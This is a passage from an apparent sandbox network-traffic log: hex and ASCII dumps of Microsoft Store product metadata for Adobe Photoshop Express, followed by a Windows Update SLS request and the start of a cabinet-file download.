64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 33 30 54 30 35 3a 34 38 3a 30 36 2e 36 32 36 31 30 39 
33 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 35 35 35 35 30 33 36 35 31 36 
38 33 36 32 37 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 
Data Ascii: 11baf{"BigIds":["9WZDNCRFJ27N"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-30T0
5:48:06.6261093Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3005555036516836275","EISListingIdentifie
r":null,"BackgroundColor":"transpar

2022-06-08 07:57:08 UTC 10041 IN Data Raw: 30 37 31 39 39 32 36 36 32 34 33 34 34 39 2e 39 30 37 30 39 63 65 33 2d 30 35 30 63 2d 34 63 65 66 2d 38 
64 34 61 2d 39 65 66 32 31 33 62 38 39 65 66 32 2e 33 35 37 64 38 64 34 39 2d 66 63 61 62 2d 34 64 35 30 2d 39 66 34 
39 2d 32 65 37 32 30 35 33 64 39 61 65 33 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 
33 30 32 32 30 30 33 36 33 33 35 38 33 31 32 36 36 37 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 
69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 
22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 39 31 35 2c 22 
46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 
Data Ascii: 07199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.357d8d49-fcab-4d50-9f49-2e72053d9ae3","Width":
66},{"FileId":"3022003633583126672","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeIn
Bytes":1915,"ForegroundColor":"","Hei
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2022-06-08 07:57:08 UTC 10045 IN Data Raw: 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 
6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 
65 49 6e 42 79 74 65 73 22 3a 33 37 37 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 
67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 
72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 
3a 22 52 52 45 38 38 6e 61 62 59 58 36 6b 76 74 64 72 4d 6b 63 42 32 6b 50 48 69 6d 39 67 55 2f 70 45 61 56 6e 65 65 
42 4a 59 6b 75 55 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 
Data Ascii: stingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3771,"ForegroundColor":
"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"RRE88nabYX6kvtdrMkcB2k
PHim9gU/pEaVneeBJYkuU=","Uri":"//stor

2022-06-08 07:57:08 UTC 10049 IN Data Raw: 30 37 31 39 39 32 36 36 32 34 33 34 34 39 2e 66 66 35 39 32 37 39 30 2d 35 34 39 36 2d 34 36 32 65 2d 62 
38 36 62 2d 34 63 38 61 32 65 33 63 63 32 62 32 2e 65 32 34 39 62 37 64 62 2d 38 35 34 35 2d 34 33 61 30 2d 61 37 34 
64 2d 63 33 64 31 65 64 32 30 34 34 64 61 22 2c 22 57 69 64 74 68 22 3a 34 31 34 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 
22 31 31 35 32 39 32 31 35 30 34 36 30 37 31 31 38 33 37 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 
66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 
74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 31 38 30 37 
38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 
Data Ascii: 07199266243449.ff592790-5496-462e-b86b-4c8a2e3cc2b2.e249b7db-8545-43a0-a74d-c3d1ed2044da
","Width":414},{"FileId":"1152921504607118376","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"",
"FileSizeInBytes":718078,"ForegroundColor":"","

2022-06-08 07:57:08 UTC 10053 IN Data Raw: 65 36 33 2d 63 63 35 32 2d 34 64 35 64 2d 39 66 63 62 2d 30 38 36 65 33 66 38 34 62 64 32 38 22 2c 22 57 
69 64 74 68 22 3a 32 34 30 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 34 37 34 33 31 38 31 
39 38 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 
72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 42 6f 72 
64 65 72 73 20 2d 20 43 6f 6d 70 6c 65 74 65 20 74 68 65 20 6c 6f 6f 6b 20 62 79 20 61 64 64 69 6e 67 20 63 6f 6f 6c 20 
62 6f 72 64 65 72 73 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 39 37 30 38 31 2c 22 46 6f 72 
65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 
Data Ascii: e63-cc52-4d5d-9fcb-086e3f84bd28","Width":2400},{"FileId":"1152921504743181981","EISListingIdentifi
er":null,"BackgroundColor":"transparent","Caption":"Borders - Complete the look by adding cool borders","FileSizeInBytes
":1797081,"ForegroundColor":"","Heigh

2022-06-08 07:57:08 UTC 10057 IN Data Raw: 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 
65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 
61 72 6d 74 68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 
20 61 6c 73 6f 20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 
64 20 74 6f 6e 65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 65 20 54 65 6d 70 65 72 
61 74 75 72 65 20 73 6c 69 64 65 72 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 63 72 65 61 73 65 20 6f 72 20 64 65 63 
72 65 61 73 65 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 
Data Ascii: n* Temperature and Tint\r\nUse Temperature and Tint controls to introduce warmth or coldness to your photo. 
You can also control the amount of green and red tones in your photo.\r\nUse the Temperature slider controls to increase 
or decrease the amount of 

2022-06-08 07:57:08 UTC 10061 IN Data Raw: 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 
2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 
22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 
54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 
43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 
22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 
2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 
Data Ascii: ,"GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","B
Z","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","M
G","MW","IM","MH","MQ","MU","YT","FM","MD","MN"

2022-06-08 07:57:08 UTC 10065 IN Data Raw: 78 70 6f 73 75 72 65 20 69 6e 20 68 69 67 68 6c 69 67 68 74 73 2c 20 6d 69 64 74 6f 6e 65 73 2c 20 61 6e 64 
20 73 68 61 64 6f 77 73 2c 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 69 6e 67 20 6f 6e 20 6f 74 68 65 72 20 
61 72 65 61 73 20 6f 66 20 74 6f 6e 61 6c 69 74 79 2e 5c 72 5c 6e 55 73 65 20 42 6c 61 63 6b 73 20 61 6e 64 20 57 68 
69 74 65 73 20 74 6f 20 73 65 74 20 62 6c 61 63 6b 20 70 6f 69 6e 74 20 61 6e 64 20 77 68 69 74 65 20 70 6f 69 6e 74 
20 6f 66 20 74 68 65 20 70 68 6f 74 6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 
63 6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 
65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 
Data Ascii: xposure in highlights, midtones, and shadows, without compromising on other areas of tonality.\r\nUse Blacks 
and Whites to set black point and white point of the photo. This makes colors appear completely black or white.\r\n\r\n* 
Temperature and Tint\r\nU

2022-06-08 07:57:08 UTC 10069 IN Data Raw: 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 
50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 
22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2
c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 
22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 
47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 
56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 
Data Ascii: NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB"
,"SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF"
,"EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","

2022-06-08 07:57:08 UTC 10073 IN Data Raw: 65 63 6f 6e 64 5c 22 3a 5c 22 50 68 6f 74 6f 20 26 20 76 69 64 65 6f 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 
63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 
65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 
22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 
70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6
c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 
Data Ascii: econd\":\"Photo & video\",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":false},\"policy2\":{\"ag
eRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":4
8,\"systemId\":12

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:57:08 UTC 10077 IN Data Raw: 2d 31 66 32 30 2d 34 30 30 65 2d 62 38 37 35 2d 63 66 36 32 63 33 62 61 63 64 66 36 22 2c 22 57 75 43 61 
74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 65 37 30 2d 36 61 35 62 
38 30 62 34 34 64 36 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 
74 65 6d 73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 79 6
e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 
75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 
69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 
Data Ascii: -1f20-400e-b875-cf62c3bacdf6","WuCategoryId":"c08a0d72-28a1-465a-9e70-6a5b80b44d60","PackageFamily
Name":"AdobeSystemsIncorporated.AdobePhotoshopExpress_ynb6jyjzte8ga","SkuId":"0010","Content":null,"PackageFea
tures":null}},{"Applications":[{"ApplicationId"

2022-06-08 07:57:08 UTC 10081 IN Data Raw: 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 
4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 
61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 
64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 32 30 31 37 2e 39 32 31 2e 31 34 33 34 2e 30 5f 6e 65 75 
74 72 61 6c 5f 7e 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 
34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 
34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 
Data Ascii: obePhotoshopExpress_ynb6jyjzte8ga","MainPackageFamilyNameForDlc":null,"PackageFullName":
"AdobeSystemsIncorporated.AdobePhotoshopExpress_2017.921.1434.0_neutral_~_ynb6jyjzte8ga","PackageId"
:"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":2

2022-06-08 07:57:08 UTC 10085 IN Data Raw: 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 
74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 
65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 
65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 
6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 
6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 22 52 65 6d 65 64 69 61 74 69 
6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 41 63 74 69 
Data Ascii: ],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":
false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0010","DisplayRank":
1,"RemediationRequired":false},{"Acti

2022-06-08 07:57:08 UTC 10089 IN Data Raw: 68 65 20 70 68 6f 74 6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 63 
6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 
65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 
20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 
6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 
6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 
79 6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 
Data Ascii: he photo. This makes colors appear completely black or white.\r\n\r\n* Temperature and Tint\r\nUse 
Temperature and Tint controls to introduce warmth or coldness to your photo. You can also control the amount of green a
nd red tones in your photo.\r\nUse th

2022-06-08 07:57:08 UTC 10093 IN Data Raw: 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 
56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 
22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 
54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 50 72 6
f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 
22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 
37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 65 37 30 2d 36 61 35 62 38 
Data Ascii: "TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM
","ME","VA","NEUTRAL"]}],"ProductId":"9WZDNCRFJ27N","Properties":{"FulfillmentData":{"ProductId":"9WZDNCRFJ27N
","WuCategoryId":"c08a0d72-28a1-465a-9e70-6a5b8

2022-06-08 07:57:08 UTC 10097 IN Data Raw: 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 
5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 2
2 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 
6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 
65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 
Data Ascii: ings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"syst
emId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownl
oadUris":null,"Fu

2022-06-08 07:57:08 UTC 10101 IN Data Raw: 7a 74 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 
6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 
6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 
74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 
74 43 6c 69 65 6e 74 22 2c 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 70 69 63 74 75 72 
65 73 4c 69 62 72 61 72 79 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 
6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 
Data Ascii: zte8ga","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Ar
chitectures":["x64"],"Capabilities":["internetClient","internetClientServer","picturesLibrary","Microsoft.storeFilter.co
re.notSupported_8wekyb3d8bb

2022-06-08 07:57:08 UTC 10105 IN Data Raw: 5f 7e 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 34 
38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 34 
2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 
6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 
34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 50 6c 61 74 66 6f 
72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 
65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 
Data Ascii: _~_ynb6jyjzte8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":200
13,"PlatformDependencies":[{"MaxTested":1688862745165824,"MinVersion":1688862745165824,"PlatformName
":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"b

2022-06-08 07:57:08 UTC 10108 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 192.168.2.3 49860 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:09 UTC 10108 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:09 UTC 10109 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 6b902cf1-f976-451d-842a-7870d7b5c040
MS-RequestId: 490941af-7fba-418e-86a2-208124b6fe01
MS-CV: DfA8S9mhuE6hAlk1.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:08 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:09 UTC 10109 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
